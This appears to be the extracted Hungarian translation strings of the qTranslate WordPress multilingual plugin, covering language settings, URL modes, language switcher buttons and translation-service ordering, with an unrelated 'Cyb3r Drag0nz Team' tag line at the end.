szerkesztő oldalaknál fog működni (%s). „%s” vagy „%s” felfedezéséhez, kattintson a jobb egérgombbal a kérdéses beviteli mezőre, és válassza a(z) „%s” opciót. Az elem attribútumai között keressen „%s” vagy „%s” értéket. Alább adja meg a megtalált értékeket. Többet is lehet szóközzel vagy vesszővel elválasztva. A beállítások mentése után ezekre a mezőkre vonatkozni fognak a nyelválasztó gombok, így több nyelven meg lehet adni értéküket. A %s típusú mezőknél %s szintaxis lesz használva, míg a sima szöveges mezőknél %s szintaxis. Ha szükséges e működés felülbíráslása, ez megtehető a %s vagy %s előtéttel a mező neve előtt. További információ a %sGYIK%sben.Minden többnyelvű mezőnél elvárás, hogy legyen értelmes tartalma az „alapértelmezett nyelv”-en. Általában ez az a nyelv, amit a weboldal a többi nyelv bevezetése előtt használt.ExportálBállítások exportálása ide: Válasszon műveletet:Minden WordPress opciót szűrőn át jelenít meg a front-enden. Rontja a weboldal teljesítményét, de így minden opció biztosan le lesz fordítva.ZászlóZászló képek elérési útjaA qTranslate helyes beállításához, tekintse meg a <a href="%1$s">qTranslate GyIK</a> és a <a href="%2$s">Fórum</a> oldalakat.A megtekintő kényelméért az alábbi tartalom az elérhető nyelvek egyikén jelenik meg.A megtekintő kényelméért az alábbi tartalom alternatív nyelven jelenik meg.A megtekintő kényelméért az alábbi tartalom a weboldal alapértelmezett nyelvén jelenik meg.ÁltalánosGettext adatbázis <strong>nem lett</strong> frissítve:Gettext adatbázis frissítve.Fejlécbe ágyazott CSSSúgóTartalom elrejtése, ami nem érhető el a kiválasztott nyelven.Cím oszlop elrejtése:Cím elrejtése:Nyelvi információ elrejtése az URL-ből alap nyelv esetén.Kiemelés stílusFordítható mezők kiemeléseMár kitöltöttem, üzenet elrejtése.Már kitöltöttem, üzenet elrejtése.Ha egy bejegyzés típus nincs bejelölve, akkor azon bejegyzéstípus szerkesztés oldalán egy mező se lesz több nyelven megadható. De a kézzel több nyelven, megfelelő kóddal megadott elemek továbbra is le lehetnek fordítva a front-end-en.Ha valami nem működik mindig meg lehet próbálni alaphelyzetre állítani a qTranslate beállításait. Az alapraállítás nem töröl egy bejegyzést se, de minden beállítást (a hozzáadott nyelveket is) eltávolít.Ha a qTranslate 1.x vagy Polyglot bővítményekről frissít, akkor <a href="%s">kattintson ide</a> a bejgeyzések új nyelvi tag formátumra konvertálásához.Ha először telepítette a qTranslate beépülőt egy bejegyzéseket már tartalmazó Wordpress oldara, akkor vagy egyesével újra menti a bejegyzéseket, vagy <a href="%s">ide kattinthat</a> a bejegyzések alapértelmezett nyelvűként megjelöléséhez.Ha a sablon vagy néhány bővítmény nem egészen integrálódik ehhez: %s, javasolja a szerzőiknek az %sIntegrációs útmutató%s átnézését. Legtöbb esetben elég egy szövegfájlt létrehozni a teljes %s kompatibilitáshoz. Esetleg Ön is létrehozhatja ezt a fájlt nekik és önmagának.Egynyelvű hivatkozásokCsak képImportálBeállítások importálása innen: Hibás zászló kép elérési út! Kérem javítsa!Bővítmény telepítése: %sIntegrációAjánlott átnézni a %skiadási jegyzeteit%s a %s új verziójának, mielőtt bármit módosítana.Hasznos lehet átnézni a %smigrációs utasításokat%s, ha még nem tette meg.Ugyanúgy működne a dolog, ha e mező tartalma egy fájlban lenne eltárolva, amelynek a neve az utolsó helyen lenne „%s” opcióban. Így ez a mező csak kényelmi célokat szolgál.A qTranslate szolgáltatásokhoz javascript kell.LSB %s-befoglaló class-ok:LSB stílusNyelvNyelv kódjaA nyelvi kódnak pontosan 2 betűből kell állnia!Nyelvek kezeléseNyelv kezelő (qTranslate beállítások)Nyelvi menüNyelv váltóNyelvválasztó gombokA nyelvi süti automatikusan ki van kapcsolva „%s”, „aldomain” és „külön domain” esetben, mert ilyenkor a nyelv egyértelműen eldönthető az URL-ből.A nyelv már ki van kapcsolva!A nyelv már engedélyezve van vagy érvénytelen!A nyelv már az első!A nyelv már az utolsó!NyelvekNézze meg a qTranslate, hogy elkészült-e valamelyik nyitott megrendelés.Beállított nyelvek listájaBeállításfájlok listája. Ha nincs „%s” előtag, akkor az elérési utak relatívak %s változhoz: %s. Az abszolút elérési utak is elfogadhatók.LocaleA %s sütik csak biztonságos (HTTPS) kapcsolatokhoz legyen elérhető.A hozzáadott menüpont egy legördülő menüre lesz cserélve az elérhető nyelvekkel, amikor a menü megjelenik.Ez az üzenet jelenik meg, ha egy bejegyzés nem érhető el a kért nyelven. (Példa: Bocsi, ez a bejegyzés csak %LANG:, : és % nyelv(ek)en érhető el.)SEO számára legrosszabb, nem ajánlott.NévWordPress szűrők nevei (%s hívások), amikre rá kell akasztani a többnyelvűsítést. További információ a %sGYIK%sben.Új sorrend elmentve.Egy adatbázis bejegyzés sem módosult az átalakítás során.Nem találtam eredetileg le nem fordított oldalt az alapértelmezett nyelv megadása során.Nem találtam eredetileg le nem fordított bejegyzést az alapértelmezett nyelv megadása során.Nincsenek nyitott megrendelések.Nincs ilyen nyelv!Nem elérhető üzenetNincs bekapcsolvaMegjegyzés a fejlesztőknek: fontos, hogy a frontend szűrő %s az admin oldalon is lefusson. Ez a szűrő nem befolyásolja az admin oldalak működését, csak ezt a mezőt.Figyelem, csak a wp_options tábla opciói, a sima bejegyzések és oldalak érintettek.Megjegyzés: az egyedi bejegyzések nem módosultak.Egyesek kényelmesnek találhatják az alap szerkesztő módot, amíg emlékeznek rá, hogy ne váltsanak nyelvet az egyedi fejlett fordítható mezőknél, ahol az LSB nem működik.Csak az engedélyezett nyelvek lesznek betöltve a front-enden, míg itt mind a %d beállított nyelv fel van sorolva.Nyitott megrendelésekA „%s” opció is engedélyezve lett, mint a %s importálása során általában. Kézzel kikapcsolható szükség esetén. További információ a %sGYIK%sben.Beállítások mentve.Megrendelés törölve.A nyelvek sorrendje, megadja a listázásuk sorrendjét, ott ahol listázni kell őket, egyébként nem fontos.Megrendelés sikeresen elküldveEgy másik gyakori CSS blokk a zászló class-okhoz „%s” is bekerül a HTML fejlécébe, de állítható ezzel az opcióval: „%s”.Egyébként bánjon óvatosan ezzel az opcióval, és csak egyszerű weboldalaknál használja! Ha bejelöli, a látogató nyelvválasztása nem lesz elmentve két látogatás között, és néhány AJAX hívás váratlan nyelvű tartalmat adhat vissza, és böngészés közben is előfordulhat nem várt nyelvváltás néhány sablon esetéban (%srészletek%s).A csapatunk nagyon örül minden visszajelzésnek:PHP és WordPress Locale a nyelvhez. (Példa: en_US)A fordítható mezőket tartalmazó oldalakon lesznek nyelvválasztó gombok, amik vezérlik, hogy éppen melyik nyelvet fordítjuk, míg az admin felület nyelve nem változik.Elérési út a zászló képekhez a wp-content mappán belül, lezáró per jellel. (Alapérték: %s, ürítse ki, ha alapra szeretné állítani)Előbb válasszon ki egy szolgáltatástVálassza ki a fordítás célnyelvét:Kérjük erősítse meg rendelését.Kérem, előbb mentse a bejegyzést.Kérjük segítsen dönteni a „%s” funkcióról, kattintson az alábbi gombra.Kérem, kattintson alább a megfelelő gombra.Olvassa el az %sIntegrációs segéd%set további információkért.Bővítmény%s bővítmény integrálható a %s többnyelvű bővítménnyel, a %s bővítmény segítségével.%s bővítménynek legalább %s PHP verzióra van szüksége. Ezen a szerveren PHP %s verzió van. Ajánlott a PHP %s vagy újabb verziója. A bővítmény nem lett aktiválva.Bejegyzés címeBejegyzés típusokFordítás bekapcsolva ezen bejegyzés típusokhoz:A bejegyzés és oldal típusokon kívül a többi elemet kézzel kell beállítani, mert ez a feladat nem oldható meg egységes módszerrel. Megoldható egyedi szkript kóddal. Lehet kérni %sfizetős támogatás%st ehhez.A "%s" azonosítójú bejegyzés nem található!Előre-beállítottOlvassa el az %sIntegrációs útmutató%st, %s beállításának testreszabásáról.Útmutató kezdéshez elolvasásaFordítás kéréseAlapraAdmin megjegyzések alaphelyzetbe.qTranslate alap helyzetbe állításaCikk átnézéseEgyesített JSON-kódolású beállítások áttekintése, betöltve %s és %s opciókból és a sablonból és más bővítményekből %s és %s szűrőkön át.SEO barát.Változások mentéseVáltozások mentése &raquo;SzolgáltatásKonfiguráció mentéseBeállításokLegyen egy vonal a fordítható mezők bal oldalán.Tartalom megjelenítése másik nyelven, ha a tartalom nem érhető el a kiválasztott nyelven.Megjelenítéshez használt nyelv nevének megjelenítése, ha a tartalom nem érhető el a kiválasztott nyelven.Egy nyelv mód.Egyes emberek szeretik a nyers bejegyzést szerkeszteni, amiben az összes nyelv tartalma szerepel elválasztókkal, pont mint az adatbázisban.Néhány bővítmény és sablon közvetlenül meghívja a fent listázottak némelyikét, amiket a korábbi %s bővítmények vagy leszármazottaik definiáltak. Ha engedélyezi ezt az opciót, akkor újra elérhetők lesznek ezek a függvények, így működni fognak az ezekre épülő bővítmények és sablonok. A WordPress szabályzata megtiltja, hogy egy bővítmény olyan nevű függvényeket használjon, ami más bővítményben szerepel, mert ez végzetes php hibát okozna a két bővítmény együttes használatakor. Mielőtt engedélyezi ezt, győződjön meg róla, hogy nincs másik aktív bővímény, ami definiálja ezeken függvények valamelyikét.Forrás nyelvA 3.2.5 verziótól kezdvem csak a többnyelvű opciók lesznek lefordítva, így javul a teljesítmény.Állapot frissítve minden nyitott megrendelésnél.TárolvaFelmérés „%s” funkciórólNyelv váltásNyelv váltása erre: %1$s... Ha a Vezérlőpult nem tölt be, akkor használja <a href="%2$s" title="Dashboard">ezt a linket</a>!CélnyelvSzöveg és képCsak szövegKöszönje meg újra pár hónap múlva!Köszönjük, hogy használja a %s bővítményt.A nyelvhez kell Locale!A nyelvhez meg kell adni a nem elérhető üzenetet!A nyelvnek meg kell adni a nevét!A nyelv neve. Így fog a weboldalon megjelenni. (Például: Angol)A bejegyzésben már van tartalom az kijelölt célnyelven. Ha fordítási kérést ad fel, akkor a jelenlegi tartalom felül lesz írva.A fenti megfelelő alapértékre lesz állítva, ha az alábbi módosul.Az alábbiak megadják a lefordítatlan tartalmak kezelésének módját a weboldal front-endjén. Egy oldal vagy bejegyzés lefordítatlannak számít, ha a fő szövege (%s) üres egy adott nyelven, függetlenül a többi mezőtől (cím, kivonat, stb.). Mindhárom beállítás független a többitől.A használt szín a %s profil opcióból a harmadik szín lesz.A %s kompatíbilis beállításai át lettekemelve a %s bővítménybe. További beállítások, importálás és exportálás a Beállítások / Nyelvek oldalon érhetők el, ha már fut a %s. %sTovább%sA beszúrt menüpont „%s” mezője további beállításokat tesz lehetővé, amik a %sGYIK%s-ben vannak leírva.A nyelvi kódot nyelvi elemkben és URLekben használjuk. Betűméret érzékeny. A kis betűk használata javasolt, de nem szükséges. A kód tetszőlegesen megválasztható, de javasolt általánosan elfogaott értékeket használni. Egy kód létrehozása és használata után, nehéz utólag módosítani, kérjük, alaposan mérlegeljen.A szerkesztett nyelv megegyezik az admin nyelvvel.A nyelv(ek)nek nincs érvényes ISO 639-1 megfelelője.A használt nyelv(ek)et nem támogatja a szolgáltatás.A %s bővítmény legújabb verziójában számos új opció van, például ez: %s, ami módosíthatja néhány oldal megjelenését. Kérem, nézze át az új opciók segítő szövegeit a %sbeállítások oldal%son.A lista automatikusan frissül 3. féltől származó integrált bővítmények be- és kikapcsolásakor. Ön is adhat hozzá egyedi fájlokat a sablonhoz vagy bővítményekhez. „%s” fájlban van az alap beállítás ennek a bővítménynek a könyvtárában. Nem javasolt mások bővítményének fájljaiba beleírni, inkább saját fájlt kell a lista végére felvenni, és azzal felülírni a beállításaikat.Az üzenet egy bejegyzés vagy oldal elérhető nyelveiről megjelenhet a közvetlen megtekintésekor is.A megjelenő menüpontoknak %s és %s CSS osztályai lesznek („%s” egy nyelvi kód), ezeket a sablon stíluslapjában lehet megadni, ha szükséges. A nyelvi menü címkéje is testre szabható „%s” mező segítségével a menü beállításoknál.A kért bejegyzésnek nincs tartalma, így nem lehetséges a fordítás.A kiszolgáló adott vissza rovarkereső üzenetet.A szolgáltatás ezt az üzenetet adta vissza: %sCsak a szögletes zárójeles nyelv jelölő %s lesz használva a régebbi (%s és %s) %s kódokkal szemben. Minden szöveges beállítás, és sima bejegyzés és oldal így lesz kódolva: %s.A rendszer nem tudta feldolgozni a megrendelését.Az alábbi táblázat tartalmazza az előre beállított és a kézzel hozzáadott vagy módosított nyelveket is.Az „id” attribútum értéke általában egyedi egy oldalon belül, egyébként az első ilyen nevűt használjuk.A fordítható mezők kiemelésének módját ez az opció határozza meg: %s.Hiba jelentkezett a kiválasztott szolgáltatásban.Már létezik nyelv ezzel a nyelvi kóddal!Nem kell átvenni beállításokat, az adatbázis séma kompatíbilis e bővítménnyel.Nincs ilyen szolgáltatás.Ez a funkció nem fog jól működni, ha a %s beépülőt a bejgyzések felvitele után telepítette. Ebben az esetben, tekintse meg az „%s” részt a „%s” között!Ez egy egyszeri üzenet, amit nem lát többet, hacsak nem hajtja végre újra ezt az importálást.Ez egy „%s”-csoport innen: %s. Kattintson a gombok közötti részre, és áthúzhatja oda, ahol legjobban megfelel. Kattintson a widget kezelőre a jobb felső sarokban ezen üzenet elrejtéséhez.Ez csak alkönyvtár és aldomain módban használható.Ez vonatkozik a bejegyzések és oldalak fő szövegén kívül minden mezőre. Ilyen nem lefordított mezők mindig megjelennek egy másik elérhető nyelven, és előtte megjelenik a másik nyelv neve zárójelben, ha ez az opció engedélyezve van.Ez az alap mód.Idő formátumCím:E beágyazott CSS kód kikapcsolásához vegye ki a jelölőnégyzetből a pipát.Alaphelyzetre állításhoz, üritse ki a mezőt.Egy bejegyzés lefordításához menjen a <a href="%s">bejegyzések szerkesztése áttekintéshez</a>.FordításMásik bejegyzés lefordítása-Csak az alábbi opciók legyenek lefordítva (csak szakértőknek):A bejgyzés lefordítása másik nyelvre.Fordítás erreFordítás szolgáltatásokBeállítások fordításaFordítás beállításokKódURL módosítás módjaIsmeretlen nyelvLefordítatlan tartalomGettext adatbázis frissítéseGettext adatbázis frissítése most.Használja „%s”-t a végső egyesített beállítás megtekintéséhez, ami tartalmazza „%s” és ezen beállítás elemeit.Nyelvválasztó gombok (LSB) használata.Külön-domain mód: minden nyelvhez külön domain megadása.Aldomain mód (http://en.te-oldalad.hu)Előtag mód (alapértelmezett, /en/ az URL elejére)Query mód (?lang=en)Egyedi CSS használataEmulált date függvényt használ és a megadottakra cseréli a formátumokat minden nyelvnél.Emulált date függvény használataHasználja ezt a bővítményt adatok importálásához: %s.Az strftime függvényt használja és a megadottakra cseréli a formátumokat minden nyelvnél.strftime használata a date helyettMinden nyitott megrendelés megtekintése.Bejegyzés megtekintése.WeboldalHa be van jelölve, akkor azok a bejegyzések el lesznek rejtve, amik nem érhetők el a kiválasztott nyelven. Ha nincs bejelölve, akkor egy üzenet jelenik meg a bejegyzés elérhető nyelveinek listájával.Ha a nyitó oldal könyvjelzővől, külső hivatkozásból vagy közvetlen címsorba írással lett megnyitva, akkor a látogató a böngésző nyelvének megfelelő URl-re lesz átirányítva.Ha sok integrált vagy egyedi fordítható mező van, nehéz lehet követni, hogy melyik mező fordítható. Ilyenkor lehet hasznos a mezők kiemelése:Widget CSS:A qTranslate szolgáltatások segítségével profi emberi fordító szolgáltatásokat vehet igénybe néhány kattintással.Igen, tényleg alapra szeretném állítani a qTranslate beépülőt.Lehet %s vagy %s egy nyelvet, vagy %s kézzel hozzáadott nyelv, vagy %s előzőleg módosított előre beállított nyelv.Rákattinthat a linkek egyikére, hogy a weboldal nyelvét egy másik elérhető nyelvre váltsa.Rákattinthat a linkre az aktív nyelv módosításához.A kompatibilis beállítások importálhatók/exportálhatók a %s és %s között a Beállítások/Nyelvek oldalon, ha már fut a %s. %sTovább%sMajd meg kell adni az aldomaineket a weboldalhoz a DNS rendszerben.Telepíteni kell a .mo fájlt ehhez a nyelvhez.A bejegyzés több nyelven is elérhető. Ha nem a %1$s nyelvről szeretne fordíttatni, akkor választhat a következőkből is: %2$sA bejegyzés SSL segítségével kódolva lesz, és biztonságosan lesz elküldve a qTranslate szolgáltatásokhoz, ami továbbítja a szövege a kiválasztott fordítás szolgáltatáshoz. Amint a  qTranslate szolgáltatások megkapja a lefordított szöveget, automatikusan megjelenik az Ön weboldalán.A fordítási megrendelés sikeresen továbbítva lett a kiválaszott szolgáltatáshoz.vissza a beállítás oldalraElem vizsgálataingyenesqTranslate nyelv választóqTranslate szolgáltatásokqTranslate szolgáltatás beállításokA qTranslate szolgáltatások minden órában automatikusan megnézi, hogy elkészültek-e a fordítások és frissíti a bejegyzéseket ennek megfelelően. Bármikor <a href="%s">llenőrizheti</a> az állapotot.A qTranslate alaphelyzetbe lett állítva.A qTranslate lekérdezi a WordPress fordítás tárat minden héten és letölti a legújabb gettext adatbázist (.mo fájlok).nem elérhető~ %1$s %2$s

Cyb3r Drag0nz Team • Google Edition